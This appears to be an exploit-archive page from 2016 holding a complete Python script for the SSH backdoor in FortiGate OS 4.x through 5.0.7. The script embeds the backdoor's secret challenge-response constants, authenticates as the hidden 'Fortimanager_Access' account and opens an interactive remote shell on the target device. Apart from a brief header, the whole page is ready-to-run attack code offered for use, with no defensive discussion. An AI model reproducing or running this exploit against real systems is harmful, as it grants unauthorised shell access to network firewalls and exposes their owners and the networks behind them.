seeing is believing

FortiGate OS 5.0.7 SSH Backdoor

FortiGate OS 5.0.7 SSH Backdoor
Posted Jan 12, 2016
Authored by operator8203

Fortigate OS versions 4.x through 5.0.7 remote ssh backdoor exploit.

tags | exploit, remote
MD5 | 0979f46d07b505872b0756efb7508a3b

FortiGate OS 5.0.7 SSH Backdoor

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#!/usr/bin/env python

# SSH Backdoor for FortiGate OS Version 4.x up to 5.0.7
# Usage: ./fgt_ssh_backdoor.py <target-ip>

import socket
import select
import sys
import paramiko
from paramiko.py3compat import u
import base64
import hashlib
import termios
import tty

def custom_handler(title, instructions, prompt_list):
n = prompt_list[0][0]
m = hashlib.sha1()
m.update('\x00' * 12)
m.update(n + 'FGTAbc11*xy+Qqz27')
m.update('\xA3\x88\xBA\x2E\x42\x4C\xB0\x4A\x53\x79\x30\xC1\x31\x07\xCC\x3F\xA1\x32\x90\x29\xA9\x81\x5B\x70')
h = 'AK1' + base64.b64encode('\x00' * 12 + m.digest())
return [h]


def main():
if len(sys.argv) < 2:
print 'Usage: ' + sys.argv[0] + ' <target-ip>'
exit(-1)

client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

try:
client.connect(sys.argv[1], username='', allow_agent=False, look_for_keys=False)
except paramiko.ssh_exception.SSHException:
pass

trans = client.get_transport()
try:
trans.auth_password(username='Fortimanager_Access', password='', event=None, fallback=True)
except paramiko.ssh_exception.AuthenticationException:
pass

trans.auth_interactive(username='Fortimanager_Access', handler=custom_handler)
chan = client.invoke_shell()

oldtty = termios.tcgetattr(sys.stdin)
try:
tty.setraw(sys.stdin.fileno())
tty.setcbreak(sys.stdin.fileno())
chan.settimeout(0.0)

while True:
r, w, e = select.select([chan, sys.stdin], [], [])
if chan in r:
try:
x = u(chan.recv(1024))
if len(x) == 0:
sys.stdout.write('\r\n*** EOF\r\n')
break
sys.stdout.write(x)
sys.stdout.flush()
except socket.timeout:
pass
if sys.stdin in r:
x = sys.stdin.read(1)
if len(x) == 0:
break
chan.send(x)

finally:
termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty)


if __name__ == '__main__':
main()


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